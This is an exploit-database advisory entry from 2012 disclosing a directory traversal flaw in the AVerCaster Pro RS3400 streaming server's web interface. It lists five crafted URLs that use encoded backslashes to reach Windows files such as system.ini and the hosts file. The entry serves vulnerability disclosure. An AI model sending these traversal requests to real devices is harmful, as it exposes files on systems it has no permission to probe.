AVerCaster Pro RS3400 Web Server - Directory Traversal

Author: Patrick Saladino
type: webapps
platform: hardware
port: 
date_added: 2012-11-07  
date_updated: 2012-11-07  
verified: 0  
codes: OSVDB-87252  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22549.txt  

# Exploit Title: AVerCaster Pro RS3400 web server directory traversal
# Date: 2012-10-06
# Exploit Author: Patrick Saladino
# Vendor Homepage: http://www.avermedia.com/product/ProductDetail.aspx?Id=560
# Version: v.3.1.20
# Tested on: Not relevant
# CVE : none yet

Hello,

I just wanted to let you know that the latest video-streaming solution from AVerMedia, the AVerCaster Pro RS3400, is vulnerable to a nasty directory traversal bug. The whole filesystem (at least the locations accessible to the user running the web service) can easily be reached from the web using a crafted URL, such as :

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem.ini

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../windows/Starter.xml (Windows 7)

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../Program%20Files/Internet%20Explorer/iexplore.exe

While no system files can be downloaded using that flaw, it's still bad programming...

Cheers,

Patrick